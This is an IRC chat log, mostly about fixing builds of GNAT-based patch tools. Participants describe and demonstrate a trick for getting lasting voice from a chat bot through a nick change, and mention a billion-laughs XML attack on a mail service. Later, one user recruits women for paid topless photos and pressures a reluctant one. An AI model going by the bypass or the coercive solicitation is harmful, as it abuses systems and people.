1790059;1522263976;mod6;<+mircea_popescu> eggs can totally do it though. << yeah, I think you're probably right.  i was fine until about 3-4 hours after breakfast.
1790060;1522264013;mod6;btw, I enjoyed the pics from the eagle (falcon) post.  how majestic was that 'eh?
1790061;1522264137;mircea_popescu;you know ?
1790062;1522264153;mircea_popescu;bird was there for a good half hour, trying to figure out how to best extract the quarry, it was something else.
1790063;1522264156;mircea_popescu;they got grace!
1790064;1522264237;mod6;it's pretty fortunate to see such a thing!
1790065;1522264247;mod6;was kinda jelly.
1790066;1522264274;mod6;diana_coman: thanks for your careful reading of the Pizarro Feb statement, the error has been corrected, I believe.
1790067;1522264277;mircea_popescu;like two-three meters out on the balcony, you know... at first i thought it's swooping in for my dick.
1790068;1522264291;mod6;i'd be scared too.
1790069;1522264292;mod6;lol
1790070;1522264317;mod6;"oh shit, it thinks my schlong is a snake! take cover!"
1790071;1522264648;mircea_popescu;lol
1790072;1522264696;mod6;The size of the claws on that thing tho!
1790073;1522264706;hanbot;phf : installed gnat with diana_coman's help; vpatch.gpr looks alright (maybe? http://p.bvulpes.com/pastes/LwAtx/?raw=true), but vdiff.gpr won't build for me: http://p.bvulpes.com/pastes/yS82H/?raw=true
1790074;1522264761;mircea_popescu;mktemp is dangerous ?
1790075;1522264936;mod6;huh, well that's news to me -- I was prodded to use that in the latest version of my vtron.  I'll have to look into that.  Not that my thing is related to hanbot's problem.
1790076;1522265008;mod6;oh this is all C call related stuff.
1790077;1522265038;mod6;I might be in over my head, phf, enlighten us when you have a moment plz.
1790078;1522265261;mircea_popescu;fucking idiots put it in the linker, but NEVER INCLUDED ANY DISCUSSION of why the fuck.
1790079;1522265277;mircea_popescu;let's just make idle pointless strongly worded warnings to maintain the general state of pantsuit mindset!@!1
1790080;1522265358;mod6;smh.  im gonna take a few minutes here and try to build phf's thing.  will report back in a bit.
1790081;1522265366;mircea_popescu;anyway, whole issue seems to be that mktemp could "guess" a file that's about to be created by root and wipe it.
1790082;1522265529;asciilifeform;funnily enuff, if working rng were standard on pc, 128bits from it would give unique-gensym ( the supposed problem , according to the gcc nitwits, with mktemp , is collision ) without O(N) searching ( as in mkstemp) with probability ~1
1790083;1522265766;asciilifeform;hanbot, mircea_popescu , et al : observe in phf's http://btcbase.org/patches/vtools-vpatch/tree/vtools/vdiff.gpr , he did not forbid the linking of libc into the library ( as i did in http://btcbase.org/patches/ffa_ch1_genesis/tree/ffa/libffa/ffa.gpr#L46 ) . apparently this worx on some gnat, but on hanbot's -- barfs
1790084;1522265795;mircea_popescu;asciilifeform yes ; and yeah!
1790085;1522265816;mircea_popescu;i am thinking this is actually something that needs changing in vdiff and being made a general rule.
1790086;1522265827;asciilifeform;which this
1790087;1522265921;mircea_popescu;"forbid linking libc"
1790088;1522266012;asciilifeform;we still dun have a gnat-for-pc that shits out a binary ~wholly~ without libc ( although ave1 iirc is working on one and is quite close ) . but hanbot's issue is that libc got linked ~into the lib~ which results in attempting to link with 2 copies of libc (1 goes into the main) .
1790089;1522266040;mircea_popescu;yes.
1790090;1522266068;mircea_popescu;and also, this isn't so much hanbot's gnat, but really the copy diana_coman 's maintaining that's for all intents and purposes the candidate for standardization.
1790091;1522266075;mircea_popescu;at least until/unless ave1 publishes a superseder.
1790092;1522266084;asciilifeform;right
1790093;1522266125;mircea_popescu;but anyway, yes, "forbid linking libc ~in libraries~".
1790094;1522266143;asciilifeform;( even superceder, should really be a vpatch on diana_coman's artifact imho )
1790095;1522266151;mircea_popescu;if feasible, ideally, yeah.
1790096;1522266205;mircea_popescu;anyway, the pile of ad-hoc name systems in legacy unix is starting to get on my heads. PATH, really ? amnd then "use mkdtemp" and fucking hell already
1790097;1522266207;mircea_popescu;gns, when.
1790098;1522266208;phf;these kind of flags are set by ~xml~ files inside gnat's gprbuild support files, so there can be a general patch on gnat to do the right thing
1790099;1522266222;mircea_popescu;o hey you're right aren't you.
1790100;1522266342;phf;the issue was already reported by someone else, but at the time the suggested fix was to put a bunch of C level annotations (some combination of static inlines), which i didn't think was an adequate solution, given that i don't understand why it does or doesn't work. but ascii's explanation makes sense, though i can't reproduce the issue on any of the machines i have with adacore's gnat (freebsd, osx, debian)
1790101;1522266403;asciilifeform;phf: i also was unable to reproduce. but i have not yet switched to the exact 'candidate gnat' in question.
1790102;1522266447;asciilifeform;but in principle the answer seen in my gpr, is the pill. no libc in libs, it makes for duped linkage. (incidentally just as barfy in a c/cpp proggy as in gnat)
1790103;1522266529;phf;i'm not sure it's the correct solution then, i thought you reproduced. xn* is defined by differ itself in xalloc.c, so it might have something to do with multiple includes and specific combination of static/inlines
1790104;1522266540;asciilifeform;it's a libc function
1790105;1522266546;asciilifeform;and does. not. belong. in. a. library
1790106;1522266576;*;asciilifeform looks again
1790107;1522266593;*;phf shakes head.
1790108;1522266630;asciilifeform;oh hmm
1790109;1522266666;asciilifeform;ha, ~xnmalloc~, not xmalloc
1790110;1522266682;asciilifeform;strike my observation, then, it is entirely wrong.
1790111;1522266816;phf;spyked actually fixed it before, http://btcbase.org/log/2018-03-01#1786600 unfortunately i don't understand the problem/solution, http://archive.is/w6W7P i think originally difftools had some conditional #define there
1790112;1522266816;a111;Logged on 2018-03-01 13:52 spyked: anyway, comment was that I managed to compile and run vdiff with small mods; error: http://p.bvulpes.com/pastes/BiBTI/?raw=true and fix patch: http://p.bvulpes.com/pastes/9mOiz/?raw=true (tested this with the generated vdiff); I can try to link this reply later in a comment to test.
1790113;1522266948;mircea_popescu;asciilifeform i dunno that it's entirely wrong ; "don't link libc if you're making a library" is right!
1790114;1522266978;asciilifeform;mircea_popescu: it is a correct pill but not the culprit in hanbot's case : phf however just nao found the actual culprit
1790115;1522267026;mircea_popescu;possibru
1790116;1522267080;asciilifeform;phf: inline + extern would have also worked
1790117;1522267092;phf;https://www.gnu.org/software/gnulib/manual/html_node/extern-inline.html is specific issue
1790118;1522267095;asciilifeform;^
1790119;1522267324;phf;this gnulib solution actually wants you to define FOO_INLINE, which is set to "inline" when defined, and "extern inline" when used, so you can't even avoid the #define hackery with "extern inline". "Other non-C99 compilers use static inline so they suffer from code bloat, but they are not mainline platforms and will die out eventually."
1790120;1522267489;phf;hmpf
1790121;1522267668;spyked;there is another (non-)solution: #define bla(arg1,arg2) { code_to_be_inlined } while(0); results in no duplicate function definitions, but also no type checking is performed on the args, so no warnings etc. quite the ugly.
1790122;1522267943;phf;"Making a function an inline function suggests that calls to the function be as fast as possible. The extent to which such suggestions are effective is implementation-defined."
1790123;1522268072;phf;in other words, it's either static inline or the #define { ...} while(0); trick, because extern inline/inline doesn't make any guarantees. i think it'll be adequately tmsr solution to just moved those definitions into own functions and not worry about "speed"
1790124;1522268233;phf;spyked: if you sign your patch, i can include it in the vtools graph, a "collaborative" experience :)
1790125;1522268293;spyked;sure! one sec.
1790126;1522268296;mircea_popescu;heh
1790127;1522268329;mircea_popescu;this is pretty terrible altogether. ave1 you got a moment ? how close is alf's "quite close" ?
1790128;1522268539;phf;in this case the issue is the "legacy" diff code, removing autotools scaffolding means having to track down these kind of portability issues, that appear exclusively around "optimized" code. ada core is its own, separate can of worms
1790129;1522268611;mircea_popescu;myeah. but taki8ng out libc ALTOGETHER seems very appealing right now
1790130;1522268617;phf;yes.
1790131;1522268618;mircea_popescu;that "warning" utterly offends me, if it wasn't obvious.
1790132;1522268637;asciilifeform;libc has been musting-die for many many yrs.
1790133;1522268657;mircea_popescu;then doods walk in here with "oh, rms gotta be respekted for his contribution"
1790134;1522268661;mircea_popescu;dudes take glibc and fucking shove it.
1790135;1522268686;phf;yeah, that warning made me patch and recompile libc 10 years ago, might've been one of the first excursions into pre-tmsr rage holes
1790136;1522268687;asciilifeform;even a musl gnat would be considerable improvement.
1790137;1522268749;phf;there's a bunch of others, around i think gets/getc, brk/sbrk, etc.
1790138;1522268774;asciilifeform;heapless proggies dun even need brk/sbrk.
1790139;1522269194;phf;i think brk/sbrk is a reasonable alternative to malloc, since it makes a claim on a certain amount of processes's address space, without allocator's bookkeeping, that you then can use for heterogenous purposes. it's a dynamic alternative to having something like a static int heap[HEAP_SIZE] in your code.
1790140;1522269218;asciilifeform;every malloc i know of is implemented on top of sbrk
1790141;1522269227;asciilifeform;so 'alternative' is not exactly right word imho
1790142;1522269257;asciilifeform;but yes on linux the only 2 ways to get moar memory than the loader loaded you with, is sbrk and mmap
1790143;1522269264;phf;well, it's an alternative methodology. malloc keeps track of allocation chains, defragmentation etc.
1790144;1522269274;mod6;Ok, so I have replication : http://p.bvulpes.com/pastes/YPdvz/?raw=true
1790145;1522269338;mod6;So there are a few things that I probably should ask about, as it wasn't wholly clear to me about the pressing side of things.  Since there are multiple roots, and multiple leaves, there are two different press paths.  Now, maybe I'm not supposed to have all of these in there??  But it looked to me from the thread at phf's site, that I needed to have them all.
1790146;1522269427;mod6;But what I ended up doing is pressing to leaf 'vdiff_sha_fixes_newline_gcc.vpatch' into 'vtools', and pressing to leaf 'vtools-vpatch.vpatch' into 'vtools_2'.  I went into vtools_2, and found the similar problems as hanbot.
1790147;1522269442;phf;mod6: pressing to different tails should produce alternative builds without any conflicts. but the issue has been discovered, and it requires a patch. spyked originally found both the problem and the solution
1790148;1522269481;mod6;yup, ok.  but as far as my "V" usage, was this correct?
1790149;1522269536;mod6;(the new rules in my V99993 do not allow for pressing to multiple leaves, so just was curious to what the blessed press path (required vpatches) was to get these)
1790150;1522269537;phf;mod6: yes
1790151;1522269542;mod6;ok.  gotcha.
1790152;1522269583;phf;maintaining two separate builds in the same patch tree is sort of experimental, and i'm happy that it seems to work out of the box
1790153;1522269599;mod6;ah, i see.
1790154;1522269641;mod6;for what its worth, at the bottom of my paste, i've denoted that im using gcc 4.9.4 and adacore 16
1790155;1522269665;mod6;which is the only version i've been able to stand up that seems to work 100% with ffa.
1790156;1522269685;mod6;(which is why i chose this particular environment to build your vtools upon)
1790157;1522269700;mircea_popescu;!!up xanthyos
1790158;1522269701;deedbot;xanthyos voiced for 30 minutes.
1790159;1522269703;phf;hmm, i wonder if adacore's gprbuild uses its own gcc or global one
1790160;1522269739;mod6;if there's a way to check, let me know, be happy to paste you the results.
1790161;1522270048;xanthyos;mircea_popescu: dpb just said he'd give me free btc if i had enough presence in the wot to be able to !up myself
1790162;1522270086;mod6;wow, can i get the same deal dpb?
1790163;1522270112;xanthyos;i installed gpg software on this machine when he knew full well i wouldnt 'be able to do anything with it
1790164;1522270141;xanthyos;danielpbarron: 18GC2RatxcABtidXksR6ry5E6hvBkgzf2t
1790165;1522270163;mod6;well, read some docs, make a key, register it. then up yourself.  1 BTC is a hefty prize!
1790166;1522270166;mircea_popescu;good for you.
1790167;1522270170;danielpbarron;he has a key
1790168;1522270176;xanthyos;not a full coin
1790169;1522270181;xanthyos;some btc
1790170;1522270181;mod6;ah
1790171;1522270199;danielpbarron;his rep in the WoT is not enough to voice
1790172;1522270212;xanthyos;yeah mircea_popescu dpb told you to tell you he did this
1790173;1522270221;xanthyos;told me to tell you*
1790174;1522270231;xanthyos;we're in voice chat right now
1790175;1522270249;xanthyos;https://discord.gg/j7TNPqk
1790176;1522271302;spyked;my v-fu really leaves to be desired. so: http://btcbase.org/log/2018-03-28#1790147 <-- patch: http://lucian.mogosanu.ro/v/patches/vdiff_lib_xalloc_static_xnmalloc.vpatch and seal: http://lucian.mogosanu.ro/v/seals/vdiff_lib_xalloc_static_xnmalloc.vpatch.spyked.sig --> so I based those on vdiff_fixes_newline_gcc (parent of vdiff_keccak in http://btcbase.org/patches?patchset=vtools ) and while the patch verifies, it doesn't show up in my
1790177;1522271302;a111;Logged on 2018-03-28 20:37 phf: mod6: pressing to different tails should produce alternative builds without any conflicts. but the issue has been discovered, and it requires a patch. spyked originally found both the problem and the solution
1790178;1522271308;spyked;v.pl flow. not sure how to debug this yet, but I can take a look at it tomorrow
1790179;1522271433;spyked;(also, I had to redo the patch anyway, since I initially used the keccak vdiff; but I'm pretty sure this should be a child of vdiff_fixes_newline_gcc, since the hashes for vtools/lib/xalloc.h match)
1790180;1522271827;*;mod6 looks
1790181;1522272850;spyked;thanks mod6. I wonder if it's one of those cases that spawned the discussion which led to the idea of a manifest file. in any case, it looks like the patch above (vdiff_lib_xalloc_static_xnmalloc) can have multiple children.
1790182;1522272914;trinque;sure, antecedents are per-file, so if you want to have one line of history, gotta have a file that is the line.
1790183;1522273047;trinque;my thinking on the thing is that it's as simple as each patch introducing a new line in HISTORY that matches the patch's name.
1790184;1522273405;mod6;spyked: http://p.bvulpes.com/pastes/gUr8Y/?raw=true
1790185;1522273456;mod6;so here's the deal, your vpatch & sig do verify by hand, so that part is fine.  the problem lies in the fact with all of phf's vpatches in your 'patches' directory, your vpatch tries to come from two separate antecedents.
1790186;1522273524;mod6;This is not ok.  And is rejected.  I simply removed the two vpatches that are not required for the latter path (see the paste above where i simply pressed 'vtools_2', the second press-path) then your vpatch is included to the flow no problem.
1790187;1522273822;spyked;hm. I understand the specific problem with my vpatch set now. I'll reread the whole discussion to make sure I've wrapped my head around this.
1790188;1522273842;mod6;ok, cool.
1790189;1522273963;spyked;so the idea is to keep either vtools_genesis -> vtools_vdiff_sha -> vdiff_sha_fixes_newline_gcc or vtools_genesis -> vdiff_fixes_newline_gcc -> ... patches, but not both at the same time. because in this case v.pl will see that my patch has two antecedents and will reject it.
1790190;1522274122;*;spyked bbl, will replicate the output in the morning
1790191;1522274330;BingoBoingo;<xanthyos> we're in voice chat right now << How has your injury recovered?
1790192;1522274485;*;asciilifeform utterly fails to grasp the appeal of 'voice chats', esp. as commonly implemented ( i.e. on closed shitware )
1790193;1522275411;deedbot;http://qntra.net/2018/03/ecuador-cuts-communications-from-assange-as-brits-go-on-tilt/ << Qntra - Ecuador Cuts Communications From Assange As Brits Go On Tilt
1790194;1522281288;asciilifeform;achtung any and all phpists : plox to see thread in #pizarro
1790195;1522281699;ben_vulpes;asciilifeform: perhaps give the good readers a place at which to start?
1790196;1522281707;asciilifeform;tip of the log, ben_vulpes
1790197;1522281710;asciilifeform;and up.
1790198;1522281846;*;asciilifeform bbl, food
1790199;1522282553;douchebag;ben_vulpes: Alright, I pretty much give up at pwning deedbot
1790200;1522282590;douchebag;The only thing I managed to find w/ it is getting permavoiced
1790201;1522282661;douchebag;Oh wait, wrong person I meant to tell trinque
1790202;1522282695;trinque;hm interesting, how permavoiced?
1790203;1522282711;douchebag;Easy, get voiced and change nick
1790204;1522282740;douchebag;so that when the 30 minute timer is up it downs a non existent nick
1790205;1522282747;trinque;hm yeah, I could chase all that, but then some human operator will see it happen and take care of it.
1790206;1522282757;douchebag;Yeah it's very minor
1790207;1522282762;trinque;as things stand, the thing's quite stateless, which is nice.
1790208;1522282770;douchebag;Well, I'm a man of my word
1790209;1522282776;douchebag;So I'll take you up on that offer
1790210;1522282782;trinque;s/quite/nearly/
1790211;1522282886;douchebag;Now, I'm not going to completely abadon the web app related stuff - mainly because that's my primary source of income at the moment. However, I am open to trying new things to improve myself.
1790212;1522282888;trinque;great. I'd like you to review the dependencies of trb (which were frozen at particular versions) for known public exploits, and to publish a report of this on your own mpwp blog.
1790213;1522282931;douchebag;Alright
1790214;1522283570;douchebag;trinque: One thing I was wondering though in regards to deedbot, the RSS feed which library are you using for XML parsing?
1790215;1522283781;douchebag;I've been having a lot of fun with XML parsers lately, last night I reported a vulnerability to a mail provider. They didn't allow use of SYSTEM or DTD's however since Entities were being processed I could have knocked the whole service offline using a billion laughs attack
1790216;1522283827;douchebag;s/processed/parsed
1790217;1522285624;mircea_popescu;asciilifeform they're rank nonsense, "how to take a 95% productivity hit by everything taking longer and using a blocking channel"
1790218;1522285667;mircea_popescu;douchebag demonstrate this permavoice thing ?
1790219;1522285708;douchebag;sure, can you devoice me and then revoice me
1790220;1522285713;mircea_popescu;!!down douchebag
1790221;1522285715;mircea_popescu;!!up douchebag
1790222;1522285716;deedbot;douchebag voiced for 30 minutes.
1790223;1522285724;douchebagg;there
1790224;1522285741;mircea_popescu;and the idea is that in half an hour it devoices douchebagg and then ?
1790225;1522285750;douchebagg;it will devoice douchebag
1790226;1522285770;mircea_popescu;aite let it run.
1790227;1522285771;douchebagg;but nobody is using that nick
1790228;1522287979;douchebagg;see?
1790229;1522287996;mircea_popescu;aha.
1790230;1522288156;mircea_popescu;funny shit, took what, 2 years before anyone figured it out ?
1790231;1522288172;mircea_popescu;!!pay douchebag 0.01
1790232;1522288178;mircea_popescu;there, have a cent buy a hooker.
1790233;1522288229;mircea_popescu;mmm da fuck is this then
1790234;1522288294;mircea_popescu;trinque does he need rep in order for me to be able to pay him or is deedbot mothballed because of the failed down or am i butterfingering the format again or wut.
1790235;1522288450;phf;well, deedbot is talking in private and the command is correct, so douchebag probably needs rep for this to work.
1790236;1522288465;mircea_popescu;tsk tsk
1790237;1522288475;mircea_popescu;douchebag get someone to rate you an' remind me to send you teh cent.
1790238;1522288504;mircea_popescu;phf don't you wish this shit existed when we were 15 ?
1790239;1522288544;douchebag;mircea_popescu: Could you just send it to an address I provide?
1790240;1522288577;mircea_popescu;i could but i'm not gonna.
1790241;1522288609;douchebag;ah
1790242;1522288657;douchebag;Is there anything else I could do in exchange for BTC?
1790243;1522288724;mircea_popescu;well there was http://logs.bvulpes.com/trilema?d=2018-3-29#320886
1790244;1522288725;mimisbrunnr;Logged on 2018-03-29 00:13 trinque: great. I'd like you to review the dependencies of trb (which were frozen at particular versions) for known public exploits, and to publish a report of this on your own mpwp blog.
1790245;1522288752;douchebag;I'm actually on that right now
1790246;1522288770;douchebag;building trb right now, I'm on the very last step
1790247;1522288828;mircea_popescu;cool deal.
1790248;1522288854;mircea_popescu;once we get this design document together there'll also be the task to build a client for eulora, and in general, stuff pops up all the time.
1790249;1522288866;phf;i was frankly hoping this bug would be discovered not as part of security audit, but somebody actually attempted to circumvent voice model for personal reasons. a worthy troll sort of deal..
1790250;1522288871;mircea_popescu;you could be flying to uruguay if these curmudgeons trusted you enough to touch their priceless gear and so on.
1790251;1522288880;mircea_popescu;phf imo this counts.
1790252;1522288892;douchebag;Alright, I don't know if I'd be any help with eulora - I'm not a gamer and I've never done any game development
1790253;1522288951;mircea_popescu;douchebag this'd be mostly systems engineering ; but anyway, give it some time.
1790254;1522288963;douchebag;But yeah, me and the woman are going to be travelling Europe in two months so I'm willing to do whatever extra work I can to earn some cash for our trip
1790255;1522289069;mircea_popescu;have you seen http://trilema.com/2014/ill-pay-for-your-tits/ ?
1790256;1522289142;douchebag;Haha, yes. She would never do that though
1790257;1522289149;mircea_popescu;aite.
1790258;1522289318;trinque;http://btcbase.org/log/2018-03-29#1790233 << power outage in houston, actually. hold please.
1790259;1522289318;a111;Logged on 2018-03-29 01:50 mircea_popescu: mmm da fuck is this then
1790260;1522289325;trinque;lights are back on now
1790261;1522289325;mircea_popescu;no rush.
1790262;1522289402;asciilifeform;http://btcbase.org/log/2018-03-29#1790217 << i hate to disappoint mircea_popescu , but nope : not blocking. and i set up a simple experiment to show. 1) put    161.0.121.247 kremvax    in yer /etc/hosts  . 2 ) wget http://kremvax/nosuchlabs_FG_1024MB_phreesample.bin   -- on as many simult. connections (can be, but does not have to be, on separate ip ) as you like.
1790263;1522289402;a111;Logged on 2018-03-29 01:07 mircea_popescu: asciilifeform they're rank nonsense, "how to take a 95% productivity hit by everything taking longer and using a blocking channel"
1790264;1522289408;asciilifeform;it isn't even detectably slow.
1790265;1522289418;mircea_popescu;asciilifeform i was discussing the "live chat"
1790266;1522289424;asciilifeform;aaaaaaa
1790267;1522289425;asciilifeform;lol
1790268;1522289430;asciilifeform;damn, sorry
1790269;1522289441;mircea_popescu;speech is blocking, that's the fucking problem, i can't write while you're talking.
1790270;1522289461;*;asciilifeform feels like compleet idjit nao, lol
1790271;1522289467;mircea_popescu;kinda why anyone that's any good at anything to do with the written word will WRITE rather than speak ; and why oral culture is such an africanism, and so on.
1790272;1522289468;mircea_popescu;lol
1790273;1522289486;asciilifeform;i was convinced that mircea_popescu was picking at the tcp socket handoff !11 lol!!
1790274;1522289538;asciilifeform;at any rate this was not a waste, nao anyone can verify that richard stevens did not lie in his 'sockets' backbreaker, and $item actually worx...
1790275;1522289549;*;mircea_popescu believes.
1790276;1522289550;trinque;alrighty, wallet is online. mains was not just down, but cycling on and off for a bit. woman and I went a-pulling plugs.
1790277;1522289617;mircea_popescu;trinque i will swear to you, getting a regulator + generator is utterly worth it if your property is worth > 100k. they're not expensive, and the list of emergencies / situations in which they are useful is lengthy.
1790278;1522289662;asciilifeform;bonus, if you have an isolator you then no longer leak bitz into the mains
1790279;1522289666;mircea_popescu;one of teh few home improvements that actually improve resale value.
1790280;1522289695;asciilifeform;( does not even need to be a stationary, grand edifice, mine is the size of a typical fulltower comp and serves an entire room )
1790281;1522289713;trinque;probably will purchase when I head for the woods; for now living in a downtown beehive
1790282;1522289726;mircea_popescu;yeah, not really practical in condos etc.
1790283;1522289757;mircea_popescu;(of course -- those should have their own, but let's not get ahead of ourselves, orcistan still has problem with bridges staying up, what sane condo development)
1790284;1522289778;*;asciilifeform has seen condos with petrol gensets on balcony. but this admittedly is not quite mircea_popescu-grade
1790285;1522289821;mircea_popescu;asciilifeform and i've been invited to gringo retiree grand party with asado on balcony. dork actually had stuffed a grill thing in there.
1790286;1522289876;asciilifeform;hey at least it aint the afghani indoor cooking fires on nth floor flat described by naggum...
1790287;1522289890;mircea_popescu;i guess.
1790288;1522289937;asciilifeform;phunphakt : 1) ~all gringostan office hellholes have gensets. but: 2) completely pointless, they are installed by usg decree and only connect to... the lift (horrors!11, someone could be stuck in a lift for an hour)
1790289;1522289970;douchebag;mircea_popescu: Suppose I find some females who would be willing to write the code on her tits
1790290;1522289990;mircea_popescu;asciilifeform you don't understand. zek confronting his existence without distraction for an hour => shooting rampage.
1790291;1522289990;douchebag;How do you want me to go about this?
1790292;1522290014;asciilifeform;mircea_popescu: that's the closest thing to an explanatory hypothesis i've ever heard for this
1790293;1522290018;mircea_popescu;douchebag click the links in the article, plenty of irc examples ; but may i suggest if you do find them you take THEM to europe instead ?
1790294;1522290024;mircea_popescu;at least, that's the heuristic i'd use.
1790295;1522290039;mircea_popescu;asciilifeform rampaging zek costs millions in insurance claims. worth it.
1790296;1522290073;asciilifeform;'The lights must never go out, / The music must always play, / Lest we should see where we are, / Lost in a haunted wood, / Children afraid of the night / Who have never been happy or good.' (tm)(r)
1790297;1522290086;mircea_popescu;aha
1790298;1522290114;douchebag;I could definitely find women to do it, but I guess what I'm asking is could I just send the photo here? Do you want them to come in here and chat, what's the deal?
1790299;1522290162;mircea_popescu;dude... http://btcbase.org/log/2014-10-24#893306
1790300;1522290162;a111;Logged on 2014-10-24 17:12 mircea_popescu: write 0bc8870d, take a pic, post link.
1790301;1522290194;mircea_popescu;there's a dozen example. chick shows up, gets her link, it's a process.
1790302;1522290292;douchebag;Alright, that's what I thought I just wanted to make sure
1790303;1522290318;mircea_popescu;inb4 he's gonna try and game it and end up actually whacked.
1790304;1522290772;mircea_popescu;trinque  so should i redo ?
1790305;1522290858;trinque;yep, everything's back up
1790306;1522290874;mircea_popescu;!!pay douchebag 0.01
1790307;1522290885;deedbot;Get your OTP: http://p.bvulpes.com/pastes/AA39b/?raw=true
1790308;1522290945;mircea_popescu;asciilifeform http://p.bvulpes.com/pastes/IWhr8/?raw=true
1790309;1522290983;asciilifeform;mircea_popescu: 1s
1790310;1522291258;douchebag;mircea_popescu: Will I be alerted when the funds are transferred
1790311;1522291319;mircea_popescu;douchebag i think not ; but !!ledger tomorrow or whatever.
1790312;1522291516;douchebag;Okay it shows in my balance
1790313;1522291526;mircea_popescu;cool.
1790314;1522291527;douchebag;I did !!withdraw 0.01 btcaddress
1790315;1522291539;douchebag;How long does it usually take?
1790316;1522291548;mircea_popescu;i dunno, a few hours ?
1790317;1522291562;trinque;takes till I do it, since it's a manual process
1790318;1522291564;douchebag;forsure
1790319;1522291624;douchebag;trinque: So I decrypted the OTP - Do I have to send a command afterwards?
1790320;1522291632;douchebag;to prove I decrypted the otp
1790321;1522291636;mircea_popescu;yes, you !!v the string it gave you
1790322;1522291660;douchebag;Awesome - thanks
1790323;1522291732;trinque;aaand I have a printout
1790324;1522291808;asciilifeform;mircea_popescu: http://p.bvulpes.com/pastes/lqRJF/?raw=true
1790325;1522291841;douchebag;mircea_popescu: You've done a fair amount of travelling I assume, correct?
1790326;1522291848;mircea_popescu;yes.
1790327;1522291861;douchebag;Where are some places you would suggest?
1790328;1522291879;douchebag;We're starting off with Poland
1790329;1522291905;mircea_popescu;well... what are you looking for ?
1790330;1522291934;douchebag;Just to visit interesting places with a lot of history
1790331;1522291955;mircea_popescu;if you're looking for pussy, budapest and the czech republic. maybe latvia. if you're looking for skiing, the german alps. if you're looking ... on it goes neh.
1790332;1522291997;mircea_popescu;are you backpacking basically ?
1790333;1522292051;douchebag;I'll only be bringing my laptop, my clothes, hygeine supplies, and paperwork
1790334;1522292084;mircea_popescu;so then most of eastern europe works for you, it's cheaper and it's generally got more history than the west. except for carcasonne or something.
1790335;1522292101;mircea_popescu;i dunno, go to belgrade see the kalemegdan. belgrade can keep one occupied for months, it's a nice town.
1790336;1522292128;mircea_popescu;or else, poland is full of castles and ancient sleepy little towns. so is all of rhutenia, really (east germany, west ukraine, etc)
1790337;1522292203;douchebag;Yeah I think we're going to have a great time. I was immediately on board when I found out how cheap flights are over there
1790338;1522292218;mircea_popescu;most of eastern europe can actually be ~walked~, as per ye olde "church steeple within day's ride."
1790339;1522292253;mircea_popescu;and yes, something like ny to washington is <50 euros in yurp.
1790340;1522292341;douchebag;Any advice you'd give to someone who's travelling for the first time? The farthest I have ever travelled was from IL to TN
1790341;1522292358;mircea_popescu;don't worry about it.
1790342;1522292415;douchebag;Yeah I'm not too worried - I think it's going to be a lot of fun
1790343;1522292451;mircea_popescu;i expect. well, my other advice is don't take anywhere any girl who's not comfortable naked in public, but i dun wanna mix in others' affairs, so.
1790344;1522292492;douchebag;I'm looking forward to seeing the castles and whatnot, she's visited Poland before and loved it
1790345;1522292512;mircea_popescu;yeah, plenty still standing. definitely worth the time.
1790346;1522292756;phf;i'd stop by karlovy vary for some hot springs, also i'm quite fond of tallinn as far as that whole medieval vibe
1790347;1522292777;douchebag;Yeah I think that's pretty amazing how there still churches and castles standing that are close to a thousand years old
1790348;1522292805;mircea_popescu;actually there's roman fortifications throughout southern europe, 2k years old.
1790349;1522292851;douchebag;I'm sure that's quite the experience to visit these places
1790350;1522292873;mircea_popescu;city i grew up in, had this chunk of roman fortification still standing 3-4 stories high right downtown.
1790351;1522292880;mircea_popescu;europe, you know.
1790352;1522292900;douchebag;Anyone ever visit Austria? She said she had a great time when she visited there
1790353;1522292908;mircea_popescu;sure.
1790354;1522292926;douchebag;Anything in particular you'd reccomend checking out there?
1790355;1522292945;mircea_popescu;vienna lol. seriously, you can spend years just dealing with vienna.
1790356;1522292970;mircea_popescu;also friedrick's follies in bavaria, not very far. and in general... the only lacking element is time.
1790357;1522293036;douchebag;Oh yeah she was in Vienna when she was there, she mentioned that people aren't allowed to live in cities besides vienna without permission or something along those lines
1790358;1522293126;douchebag;Not too sure what the deal is with that
1790359;1522293158;mircea_popescu;never heard of it.
1790360;1522293198;douchebag;Me neither, I tried looking it up but didn't really find anything. I could have misunderstood
1790361;1522293466;douchebag;Any places you've enjoyed outside of Europe?
1790362;1522293537;mircea_popescu;you mean like, costa rica ?
1790363;1522293543;douchebag;Yes
1790364;1522293559;mircea_popescu;sure. egypt is pretty cool, but not really for the beginner.
1790365;1522293572;mircea_popescu;southern mexico also.
1790366;1522293737;douchebag;Yeah I have a friend who was living in southern mexico for awhile, he said he loved it and he was living in a penthouse for dirt cheap
1790367;1522294142;douchebag;mircea_popescu: I know someone who is willing to show tits, but she doesn't want to include face
1790368;1522294188;mircea_popescu;weird.
1790369;1522294223;douchebag;If you're cool with that let me know, otherwise I suppose I'll try talking her into it
1790370;1522294452;mircea_popescu;not cool with it. the whole point is for girls to take this opportunity and fix their heads.
1790371;1522294495;douchebag;I think I convinced her
1790372;1522294525;douchebag;Just takes a little persuasion sometimes, haha
1790373;1522294759;mircea_popescu;!!up Entropy_
1790374;1522294760;deedbot;Entropy_ voiced for 30 minutes.
1790375;1522294974;mircea_popescu;!!up la
1790376;1522294975;deedbot;la voiced for 30 minutes.
1790377;1522294988;douchebag;la is the female
1790378;1522294998;douchebag;Explain what to do
1790379;1522295018;mircea_popescu;oh come on.
1790380;1522295050;trinque;lol this kid
1790381;1522295115;douchebag;hm?
1790382;1522295149;douchebag;I'll help her get her gpg keys and stuff setup
1790383;1522295204;mircea_popescu;la hello ?
1790384;1522295214;la;hello
1790385;1522295236;mircea_popescu;how goes ?
1790386;1522295261;la;all well and swell
1790387;1522295277;mircea_popescu;you here for teh http://trilema.com/2014/ill-pay-for-your-tits/ i take it ?
1790388;1522295282;la;is this like actually real?
1790389;1522295290;mircea_popescu;in a manner of speaking.
1790390;1522295306;douchebag;!!help
1790391;1522295306;deedbot;http://deedbot.org/help.html
1790392;1522295354;la;!!register -----BEGIN PGP PUBLIC KEY BLOCK----- Comment: User-ID:	LALALA <LALALA@fakemail.com> Comment: Created:	3/28/2018 10:44 PM Comment: Type:	2048-bit RSA (secret key available) Comment: Usage:	Signing, Encryption, Certifying User-IDs Comment: Fingerprint:	741311C4CD2C31823CD5E41EE677AA7C19F99541   mQENBFq8YSkBCAC8PPWEbi10oYLKZ0x+3kvwZvlzzRyzXArdedKx5jRUgu/VACja Dq5+bGlT7zjISt1eOmAVuraQuGnwlfitigiiE92A4CNclFjw2J0SIM+BXpcFXFbF rev0f0
1790393;1522295355;deedbot;Provide a paste URL to the ascii-armored GPG public key or the full 40 character key fingerprint without spaces or dashes.
1790394;1522295365;mircea_popescu;lol
